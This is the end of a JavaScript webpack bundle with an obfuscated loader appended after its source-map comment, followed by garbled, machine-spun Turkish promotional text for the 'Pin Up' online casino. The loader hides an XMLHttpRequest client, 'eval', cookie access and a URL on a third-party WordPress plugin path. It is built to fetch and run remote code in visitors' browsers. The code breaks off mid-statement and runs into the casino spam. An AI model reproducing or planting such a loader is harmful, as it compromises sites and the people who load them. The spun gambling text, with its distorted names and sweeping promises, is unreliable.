null == arr ? null : "undefined" != typeof Symbol && arr[Symbol.iterator] || arr["@@iterator"]; if (null != _i) { var _s, _e, _x, _r, _arr = [], _n = !0, _d = !1; try { if (_x = (_i = _i.call(arr)).next, 0 === i) { if (Object(_i) !== _i) return; _n = !1; } else for (; !(_n = (_s = _x.call(_i)).done) && (_arr.push(_s.value), _arr.length !== i); _n = !0); } catch (err) { _d = !0, _e = err; } finally { try { if (!_n && null != _i["return"] && (_r = _i["return"](), Object(_r) !== _r)) return; } finally { if (_d) throw _e; } } return _arr; } } module.exports = _iterableToArrayLimit, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/nonIterableRest.js": /*!*****************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/nonIterableRest.js ***! \*****************************************************************/ /***/ ((module) => { function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } module.exports = _nonIterableRest, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/slicedToArray.js": /*!***************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/slicedToArray.js ***! \***************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var arrayWithHoles = __webpack_require__(/*! ./arrayWithHoles.js */ "../node_modules/@babel/runtime/helpers/arrayWithHoles.js"); var iterableToArrayLimit = __webpack_require__(/*! ./iterableToArrayLimit.js */ "../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js"); var unsupportedIterableToArray = __webpack_require__(/*! ./unsupportedIterableToArray.js */ "../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js"); var nonIterableRest = __webpack_require__(/*! ./nonIterableRest.js */ "../node_modules/@babel/runtime/helpers/nonIterableRest.js"); function _slicedToArray(arr, i) { return arrayWithHoles(arr) || iterableToArrayLimit(arr, i) || unsupportedIterableToArray(arr, i) || nonIterableRest(); } module.exports = _slicedToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js": /*!****************************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js ***! \****************************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var arrayLikeToArray = __webpack_require__(/*! ./arrayLikeToArray.js */ "../node_modules/@babel/runtime/helpers/arrayLikeToArray.js"); function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return arrayLikeToArray(o, minLen); } module.exports = _unsupportedIterableToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }) }]); //# sourceMappingURL=6ed74dd3befaff90b65c.bundle.js.map;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//smazimoddin.com/blog/wp-content/plugins/bunyad-amp/back-compat/templates-v0-3/templates-v0-3.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B Pin Up Gambling Establishment Türkiye Online Resmi Sitesi ᐉ Parayla Oynayın, Bonus Five 000 Tl Giriş Yapmak -

„Pin-up Türkiye’den Bonus Talep Edin

Pin Upwards Casino’da bir hesap açmak için web sitelerine gidin empieza „Kayıt Ol“ düğmesine tıklayın. Gerekli bilgileri doldurun ve kayıt işlemini tamamlamak için yönergeleri izleyin. Belirli ülkelerden gelen oyuncular yerel yasalar empieza düzenlemeler nedeniyle kısıtlanmıştır.

  • Hediye fonları şeklinde yatırılırlar empieza Pin up slot makinelerinde gerçek paranın yerini alırlar.
  • Tüm hedeflere ulaşıldı ve sonuç olarak kumar pazarında modern yeni özelliklere sahip bir portal ortaya çıktı.
  • Gerekli bilgileri doldurun ve kayıt işlemini tamamlamak için yönergeleri izleyin.

PvP etkinliklerinde bireysel oyunculara mı yoksa takım etkinliklerine una bahis oynayacağınızı seçin. Oyunlar bir kumarhane tarzında yapılmıştır ve genellikle kazanmak için birçok seçenek sunar. Platform düzenli olarak, özel oyunların hayranlarının önemli ödüller alabileceği turnuvalara ev sahipliği yapmaktadır. Bahis yelpazesi olabildiğince geniştir, böylece herhangi bir bütçeye sahip ziyaretçiler oyunların tadını çıkarabilir. 2016 yılında faaliyete geçen internet casino, kısa sürede yüz binlerce oyuncu için favori bir tatil yeri haline gelmiştir.

Pin Up Ödeme Yöntemleri

Pin-Up Casino’da, aralarından seçim yapabileceğiniz çeşitli piyango oyunları bulabilirsiniz. İster anında kazanç ister daha uzun süreli bir şey arıyor olun, tarzınıza uygun bir şey mutlaka vardır. Piyango, Powerball empieza Mega Millions gibi geleneksel çekilişlerden anında ödüllü kazı kazan kartlarına kadar uzanmaktadır. Pin-Up Casino uygulamasını mobil cihazınıza yüklemek hiç bu kadar kolay olmamıştı.

  • Pin-Up Online casino, çekilişlerin dürüstlüğüne ve adilliğine özel önem vermektedir.
  • Pin Upwards TR betting on the internet casinonun taşınabilir cihaz kullanıcıları için tasarlanmış versiyonu, siteye telefondan gidildikten sonra otomatik olarak yüklenir.
  • Sadece €0. 10 minimum bahis empieza bonus oyununda 50’ye kadar ücretsiz döndürme ile Fruit Tropical drink kesinlikle bolca eğlence sağlayacaktır.

Pratik Pin Upwards bahis modunda sanal krediler için Pinup cazino kumarhane oyunlarını test edebilirsiniz. Curacao lisansı altında faaliyet gösteren ve müşterilerine yalnızca yüksek kaliteli hizmet sunan uluslararası bir kumar sitesiyiz. Amacımız, kumarbazlara adil, heyecanlı ve kazançlı bir oyun sunmanın yanı sıra, sitedeki kullanıcıların rahatlığını ve kişisel verilerinin güvenliğini de sağlamaktır. Pin-Up Online, çeşitli çekim yöntemleri sunarak kullanıcıların kazançlarını rahat empieza güvenli bir şekilde çekmelerine olanak tanır.“ „[newline]Sunulan çekim yöntemleri, hızlı ve kolay bir çekim süreci için özenle seçilmiştir, böylece kullanıcılar kazançlarını durante kısa sürede elde edebilir pin up casino ekşi.

Pin Upward Giriş Türkiye’den Oyuncular Için Mevcut Mu?

Bu seçenek, oyun bakiyesinin ilk yüklemesinden sonra kullanılabilir. Şifrenizi unuttuysanız, lütfen şifrenizi sıfırlamak için talimatları izleyerek giriş sayfasında bulunan şifre kurtarma özelliğini kullanın. Kişisel verileri değiştirmek için destek ekibiyle iletişime geçmeniz gerekir.

  • Platformumuz, tüm işlemlerin güvenli ve emniyetli olmasını sağlamak için en son şifreleme teknolojisini kullanır.
  • Türk oyuncular, maksimum 10. 000x çarpan elde etme şansı ile bahisler için kripto afin de birimlerini kullanabilirler.
  • Sitenin ziyaretçileri 8. 000’den fazla yüksek kaliteli ve çeşitli oyuna erişebilir.
  • Ayrıca e-posta hesabınıza gitmeniz“ „ve aldığınız mektup aracılığıyla profilinizi etkinleştirmeniz önerilir.
  • Mobil cihaz sahipleri, sabit bir PC’ye bağlı kalmadan uygun herhangi bir yerde Pin-up slot machine makinelerini başlatabilir.

Şifrenizi unuttuysanız, lütfen web sitesindeki talimatları izleyerek şifre kurtarma işlevini kullanın. Hesabınıza başarılı bir şekilde giriş yaptıktan sonra, oyunlar, bonuslar ve promosyonlar dahil olmak üzere tüm site özelliklerine erişebilirsiniz. 120’lik hoş geldin bonusu kazanmak için hemen kaydolun ve PınUp taki en iyi casino oyunlarında Türk lirası ile gerçek parayla kumar oynamaya başlayın. Pin Up Casino net sitesinde yer joe video slot oyunlarının hepsi standart empieza ek özelliklerle donatılmıştır. Bu oyunlardan bazıları, oyun içi bedava dönüşler, bonus turları, ilave çarpanlar, ‘wild’ ve ‘scatter’ sembolleri gibi unsurları içerir. Cuma gecesi için heyecan verici empieza keyifli bir casino eğlencesi mi arıyorsunuz?

Pin-up Casino Bonus

IPhone ve apple ipad kullanan oyuncular yalnızca mobil sürüme erişebilirler. Mobil kaynağı ziyaret etmek için telefonunuzdan veya tabletinizden gambling establishment sitesine gitmeniz yeterlidir – yönlendirme otomatik olarak gerçekleştirilecektir. Spor bahisleri için Pin-Up, kapsamlı bir ödeme ile geniş bir oyun yelpazesi sunar. Bahis şirketi ayrıca siber spor etkinliklerine de önem vermektedir. Casino, para çekme taleplerini 24 saat içinde, nadir durumlarda – 5 iş gününe kadar işleme koyar.

  • Ancak acele etmemenizi ve şansınızı farklı simülatörlerde denemenizi tavsiye ederiz, ayrıca en karlı, „veren“ oyunu seçmenize izin verecek demo sürümünde de yapabilirsiniz.
  • Her Pazartesi, eksi bakiyesi olan oyunculara kaybedilen paranın bir kısmını iade ediyoruz.
  • Bir hesap oluşturduğunuzda, spor bahisleri veya Casino bölümünden bir tanesi için bir hoşgeldin bonusu seçmeniz gerekir.
  • Pin Up ta Keno ve Lucky 6 gibi fango oyunları, oyuncuların sayıları seçtiği ve çekilişi beklediği ilgi çekici bir konsept sunar.
  • Para çekme işlemi yapmak için Pin-Up Casino hesabınıza giriş yapın, ‚Hesabım‘ bölümüne gidin ve ‚Para Çekme‘ seçeneğini seçin.

Bonuslar güzel bir avantaj, ancak hüküm ve koşulları okumak çok önemli. Pek çok şans oyunu tutkunu Flag Up platformunu seçiyor, çünkü ideal bir bonus sistemi sunulmakta. Hoş geldin bonusu, ücretsiz spin, çarşamba günleri bilgi yarışmaları için ödüller empieza Betgames Jackpot ikramiyeleri gibi birçok cazip teklif sizi bekliyor.

Pinup Gambling Ki̇şi̇sel Hesap Nasil Oluşturulur

Tek yapmanız gereken, iOS işletim sisteminiz varsa App Store’u ziyaret etmek ve „Pin-Up Casino“, yazmaktır; Uygulama tam orada sizi bekliyor olacak. Kurulduktan sonra, sitenin masaüstü sürümünde bulunan tüm oyunlara ve bonuslara erişebilirsiniz. Güvenli empieza çeşitli finansal işlemler, Pin Up bahis sitesinin bir başka artısıdır.

  • Kazançları komisyonsuz almak için, ilk depozitoyu en az three or more kez kaydırmanız gerekir.
  • Aşağıda your ex kategorinin bir açıklamasını ve en ünlü oyunların bir listesini bulacaksınız.
  • Daha sonra çekmek istediğiniz miktarı ve ödeme yöntemini seçin ve talimatları izleyin.
  • Skrill ve Neteller sistemi ile eşleştirilmiş Yandex ve Webmoney e-cüzdanları bile bahisçilere açıktır.

Sezgisel tasarımı neticesinde Uygulama içinde gezinmek çocuk oyuncağıdır. Pin Up Casino internet sitesinde bulabileceğiniz tüm video slot oyunları hem standart hem de ek özelliklere sahiptir. Bunlardan bazıları oyun içi ücretsiz spin, bonus turları, ekstra çarpanlar, ‘wild’ ile ‘scatter’ sembolleri ve benzerlerini içerir. Mobil sürümü, internet sitesinin ana platformunda sunulan tüm özellikleri ve işlevleri içerir.

Canlı Krupiyeli Oyunlar

Bu ilginin sebeplerinden biri, tüm kayıtlı kullanıcılar için oldukça cömert bir hoş geldin bonusu sunulmasıdır. Türkiye’de bir Pin-Up oyuncusu olmak için, kişisel bilgilerinizi uygun kayıt formuna girerek web siteye kaydolmanız gerekir. Katılmak için kişisel bir hesap oluşturmanız, afin de yatırmanız ve istediğiniz oyunu seçmeniz gerekir. Türkiye’de slotlar, accident oyunları, canlı online casino ve daha fazlasını kapsayan 5. 000’den fazla oyun sunan Pın Up casino keşfedin. Tüm oyunlar Pragmatic Play, Spribe, Wazdan ve daha fazlası gibi en kaliteli geliştiriciler tarafından sağlanmaktadır.

  • Mevcut iletişim kanalları aracılığıyla kumarhanenin destek ekibiyle iletişime geçmelisiniz.
  • Türk kullanıcılar çoğunlukla kredi kartı veya e-cüzdan yöntemini tercih ediyor seçiyor, örneğin UPI.
  • PınUp TV oyunları kategorisi Skab, Futbol Grid, Dart ve daha fazlası gibi heyecan verici spor simülasyonlarını içerir.

Pin Up Online casino, 2016 yılında başlatılan bir çevrimiçi casino platformudur. Birkaç aydır Pin-Up Casino’da düzenli bir oyuncuyum ve VIP programlarının mükemmel olduğunu söylemeliyim. Türk kullanıcılar çoğunlukla kredi kartı veya e-cüzdan yöntemini tercih ediyor seçiyor, örneğin UPI. Pin Up gambling establishment, hareket halindeyken oynamayı sevenler için bir mobil uygulama sunmaktadır. Android, Windows veya iOS işletim sistemli herhangi bir mobil cihaza yükleyebilirsiniz.

Nasıl Hesap Oluşturabilirim?

Bir uçak gittikçe yükselmekte ve uçak yükseldikçe katsayı artmaktadır.“ „[newline]Katsayının yükselmesini bekleyebilirsiniz, ancak uçak her a good uçarak gidebileceğinden dikkatli olmalısınız. Eğer bahsinizin süresini kaçırırsanız, yatırdığınız miktarı kaybedersiniz. Bu kategorideki tüm oyunlar, en popüler yazılım stüdyoları olan Ezugi, Evolution Gaming, Sensible Play, Lucky Ability ve Playtech tarafından sunulmaktadır.

  • ESpor üzerine bahis oynamak, geleneksel sporlar üzerine bahis oynamak kadar popülerdir.
  • Birçok Pin Up Türkiye kullanıcısı, platformun grafikleri ve gelişmiş tasarımını öne çıkan bir avantaj olarak değerlendirmektedir.
  • Mobil ödeme sistemleri, UPI, PayTM, çeşitli navigation cüzdanlar ve birçok banka transfer sistemini kullanarak hesabınıza pra yükleyebilirsiniz.
  • Her iki web kaynağının da tek bir kullanıcı tabanı vardır, böylece verilerinizi oturum açmak için kullanabilirsiniz.
  • Müşterinin çarkı çalıştırması ve okun hangi sektörde duracağını görmesi gerekir.

Güncel tekliflerle ilgili tüm bilgiler “Promosyonlar” bölümünde yer almaktadır. Bir sonraki promosyonu kaçırmamak için tüm kullanıcıların haber bültenine abone olmaları tavsiye edilir. Hesabınızda oturum açmak için e-posta adresinizi ve şifrenizi girmelisiniz.

Pin Up’ta Casino Oyunları Nasıl Oynanır?

Burada işlemlerin geçmişini görüntüleyebilir ve ek güvenlik ayarlarını kullanabilirsiniz. Kumarhane yönetimi, en yeni gelenleri ve aktif müşterileri bonuslarla teşvik eder. Hediye fonları şeklinde yatırılırlar empieza Pin-up slot makinelerinde gerçek paranın yerini alırlar. Sadakat politikası, düzenli olarak güncellenen kalıcı ve geçici promosyonları içerir.

Ayrıca, Pin Up sitesi kullanıcıları bir bahisçinin ofisinin hizmetlerini kullanabilir ve spor etkinliklerinin sonuçlarına bahis oynayabilir. Türk kullanıcıların, Pin number Up web sitesindeki spor etkinliklerine bahis oynamak için yapmaları gereken tek şey bu platforma üye olmak ve hesaplarına para yatırmaktır. Herhangi bir sorununuz ya da sorunuz olduğu takdirde müşteri hizmetleriyle“ „iletişime geçebilirsiniz. Bize ulaşmak için e-posta, canlı sohbet veya doğrudan telefon görüşmesi yöntemlerinden istediğinizi seçebilirsiniz. Mümkün olduğunca çabuk bir geri dönüş almak istiyorsanız Pin Upwards casino canlı sohbet bölümüne bir mesaj göndermeniz en iyi tercih olacaktır. 13 Ocak 2022’de piyasaya sürülen Space XY, BGaming tarafından geliştirilen ve Türk oyuncular arasında oldukça popüler olan bir çevrimiçi casino oyunudur.

İlk Bonus Ve Di̇ğer Hedi̇yeler İçi̇n Two Hundred Euro Pinup Giriş

„Casino oyunlarının, spor bahislerinin ve harika bonusların tadını çıkarabilirsiniz. Ayrıca, kayıt işlemi hızlı ve kolaydır empieza kaydolduğunuzda harika bir para yatırma bonusu alırsınız. Ve sadece €10 minimum depozito ile, tüm oyuncular bütçeleri ne olursa olsun casino deneyiminin tadını çıkarabilir. Türk kullanıcıların Pin Up web sitesinde spor etkinliklerine bahis oynamak için yapmaları gereken tek şey, bu platforma üye olup hesaplarına para yatırmaktır.

Bu oyun, saygın sağlayıcı Spribe tarafından geliştirildi ve 2019’da ortaya çıktı. RTP %97’dir ve HTML5 ve JS standartları kullanılarak tüm mobil cihazlar için uyarlanmıştır. PınUp oyunu Otomatik Bahis, Otomatik Nakit Çıkışı ve Çift bahis gibi çeşitli kullanışlı özelliklere sahiptir. Ayrıca, Türkiye’den kullanıcılar için özel promosyon kodu mevcut olduğunu hatırlatmak isteriz. Aviator oyunu, blok zincir teknolojisini temel alarak çalışır ve bu nedenle kanıtlanabilir bir adalet sistemine sahiptir.

Para Yatırmanın Veya Kazançları Çekmenin Yolları Nelerdir?

Bahis oynamanıza haine gerek yok – bazı kullanıcılar sadece izlemekten keyif alıyor. Pinup Türkiye dahil farklı ülkelerde çalışır, böylece lira, ruble, dolar vb. Aktivite ve her hesap yenileme için gerçekten cömert bonuslar elde edilebilir. Pinup cazino, tüm müşterilerine adil oyun, hızlı ödeme ve tam gizliliği garanti eder. Her bir çekim yönteminin işlem süresi, limitleri ve olası işlem ücretleri hakkında daha fazla bilgi için lütfen Pin Way up Casino’nun resmi web sitesini ziyaret edin. Bu harika hoş geldin bonusu ile oyun deneyiminizden sobre iyi şekilde yararlanacak, ayrıca geniş bir oyun yelpazesine erişebileceksiniz.

  • Bu bölümü inceleyerek aklınızdaki birçok sorunun yanıtını bulma imkanınız var.
  • Alt kısım, lisans, bağlı kuruluş programı, hüküm ve koşulları içeren bir bölüm empieza destek hizmeti ile iletişim kanalları hakkında bilgi içeren bir bilgi bloğudur.
  • Bu nedenle, tüm para çekme işlemlerini talebinizi aldıktan sonra 24 saat içinde işleme koymaya çalışıyoruz.

Ana sayfadan indirebilir ve ardından Android, iPhone’lar empieza hatta PC’lerden oynayabileceğiniz bir uygulama elde edersiniz. Uygulama benzersiz bir tasarıma sahiptir, hızlı çalışır ve tüm engellemeleri atlamanıza izin verir. Oyuncuların Pinup kumar kulübündeki ödüllerin geri çekilmesi hakkındaki yorumlarının çoğuna“ „göre, kumarhane operatörünün kazanılan parayı ödemesi garanti edilmektedir. Bir ödeme için başvurduktan sonra, fonlar en geç 24 saat içinde kullanıcının hesabına yatırılır. Genellikle, doğrulanmış oyuncular için para çekme işlemi anında gerçekleşir. Online casino ödeme talepleriyle aşırı yüklenirse transferlerde gecikmeler meydana gelebilir.

Özellikler Ve Promosyonlar

Müşteriler arasında en popüler olan slot makineleri ayrı bir bölüme yerleştirilmiştir. Yeni kullanıcılar için, kumarhane ile tanışmaya bu slotlarla başlamanızı öneririz. Casino Pin Up sitesinde kripto para birimi ile oynamanın birkaç avantajı vardır.

Aviator oyunu blok zincir teknolojisine dayanmaktadır, yani kanıtlanabilir şekilde adil bir sistemdir. Özel bir akıllı sözleşme üzerinde kaydedilen the woman turun sonuçlarını takip edebilirsiniz. Aviator gibi son teknolojiye sahip oyunlar ayrıca sertifika gerektirmez, çünkü the girl katılımcı her bir turun sonucunu inceleyip adilliğini kontrol edebilir. Aviator oyunu, oldukça basit kurallara empieza bağımlılık yapıcı bir oynanışa sahip olduğundan özellikle yeni başlayanlar için harikadır.

Resmi̇ Si̇te Üzeri̇ndeki̇ Hesaba Pinup Gi̇ri̇ş Yapin

Pin-Up On line casino, tüm kumar ihtiyaçlarınız için mükemmel bir online Casino’dur. Blackjack ve Poker gibi klasik kart oyunlarından Slotlar ve Online video Slotlar gibi contemporary seçeneklere kadar geniş bir oyun yelpazesi sunar. Mevcut oyunların çeşitliliği, tercihiniz ne olursa olsun size uyan bir şey bulacağınız anlamına gelir.

  • Oyuncunun görevi, kazancını almak için sanal kartını sayılarla doldurmaktır.
  • Oyun yolculuğunuzun tüm gücünü, sayfamızda yer alan en iyi gambling establishment bonusları ve teklifleri ile serbest bırakın.
  • Evet, casino küçük ekranlar için optimize edilmiştir ve hızlı yanıt veren bir uygulamaya sahiptir.

Birçok Pin Up Türkiye kullanıcısı, platformun grafikleri ve gelişmiş tasarımını öne çıkan bir avantaj olarak değerlendirmektedir. Platformumuza katılarak, Türkiye de dahil olmak üzere tüm dünyadaki casino tutkunları arasında çok popüler olan Pin Way up Casino Aviator oyununun keyfini çıkarabilirsiniz. Gittikçe daha yükseğe çıkan bir uçak ve uçak yükseldikçe artan bir katsayı bulunur.

Pin Up’ın Bir Mobil Uygulaması Mevcut Mu?

Asgari iade tutarı 2, 25 liradır, azami tutar son bir haftadaki en büyük depozitoyu aşamaz. İnternette yasal kumar faaliyetleri yürütmek için Pinup giriş sahibi, Curacao Oyun Komisyonu – Antillephone N. V. ’nin alt lisans sahiplerinden bir lisans aldı. Para birimleri arasında ruble, dolar, euro, grivnası, Kazakistan tengesi, Türk lirası empieza bir dizi başka para birimi bulunmaktadır. Ek olarak, portalın daha kompakt bir mobil sürümüne geçiş de mevcuttur.

Bu, her oyunun oynaklığını, RTP’sini ve bonus özelliklerini değerlendirmenize olanak tanır. Gerçek parayla oynamaya başlamak için kayıt olmanız ve para yatırmanız gerekir. Pin Up On-line Casino, masa oyunları severler için zengin bir koleksiyon sunar. Klasik casino atmosferini evinizin rahatlığında yaşamak isteyenler için blackjack, rulet, poker ve baccarat gibi popüler oyunların çeşitli versiyonları mevcuttur. Her bir masa oyunu, farklı stratejileri ve becerileri test etme fırsatı sunarken, gerçek bir casino deneyimini de oyunculara ulaştırır.

Pin Way Up Casino

Tüm süreç bir haftaya kadar sürebilir ancak genellikle çok daha arizona zaman alır. Her durumda, kayıttan hemen sonra hesabınızı doğrulamanız önerilir. Mobil versiyonumuzu kullanmak için herhangi bir dosya indirmenize gerek yok. Tek yapmanız gereken, elinizdeki her türlü akıllı telefon veya tableti kullanarak (Windows Cell phone ve BlackBerry para dahil) mobil platformumuzu ziyaret etmektir. „Hile bağımlılığının“ sizi bunalttığını düşünüyorsanız – hesabınızı geçici olarak groundling etmek için kumarhane yönetimiyle iletişime geçin.

O halde Pin Up Türkiye website sitesi tam dimension göre; güvenilir bir sanal platform olan bu site, birçok seçenek, cazip teklifler ve cömert bonuslar sunuyor. Tanınmış stüdyolar tarafından geliştirilen oyunları oynayarak bahis yapabilir ve ödüller kazanabilirsiniz. Örneğin, her hafta Viber’da para yatırma işleminde %100 için özel bir bonus kodu bulabilirsiniz. Ve Telegram kanalında your five USD’lik depozitosuz“ „bonusları oynayabilirsiniz.

Pin-up Gambling Establishment Kaydı Adım Adım

Türkiye’den kullanıcılar için 15’dan fazla ödeme sistemi mevcuttur. Visa ve Master card banka kartları para yatırmanın en popüler yolu olmaya devam ediyor. Apple Pay out ve Google Shell out mobil sistemleri üzerinden ödeme de mevcuttur. Ecopayz, Skrill, Payeer, UnionPay, TROY, Neteller ve diğerleri gibi e-cüzdanlardan da afin de yatırabilirsiniz. Pin Upwards online casino ziyaretçileri, gerçek parayla oynanan popüler şovlara katılma fırsatına sahiptir. Profesyonel bir sunucu, kendinizi kaydın yapıldığı stüdyodaymış gibi hissetmenizi sağlayacaktır.

  • Bu yazılım geliştiricileri, benzersiz empieza eğlenceli çevrimiçi gambling establishment oyunları oluşturma konusunda yılların deneyimine sahiptir.
  • Kullanıcı ayrıca Pin-Up oyunu bahisçisinin telgraf kanalında her zaman güncel web sitesi adresini bulabilecektir.
  • Pin-Up Casino müşterilerine bazı büyük avantajlar sunsa da, bazı dezavantajları vardır.
  • Pin-Up Casino’nun en dikkat çekici özelliklerinden biri elbette geniş promosyon empieza bonus seçenekleridir.

Pin-UP Casino’da, oyuncuların cüzdanlarını büyük paralarla doldurmaları için farklı yollar vardır. Bunlar arasında kulüp içinde düzenlenen, büyük ve küçük nakit ödüllü turnuvalar yer almaktadır. Pin In Casino turnuvalarının en güzel yanı, hesap durumlarına bakılmaksızın tüm oyunculara açık olmasıdır. Sadece belirli slot makinelerini oynayın ve daha fazla kazanç elde edin ve“ „puan kazanın. Kazanan, etkinliğin sonunda ya durante çok parayı para kazanan ya da en büyük kazancı yakalayandır. PinUp casino çevrimiçi sitesi, iOS ve Android işletim sistemleri için yerel bir mobil uygulamaya sahiptir ve nerede olursanız olun kumara basit erişim sağlar.


Für diesen Beitrag sind die Kommentare geschlossen.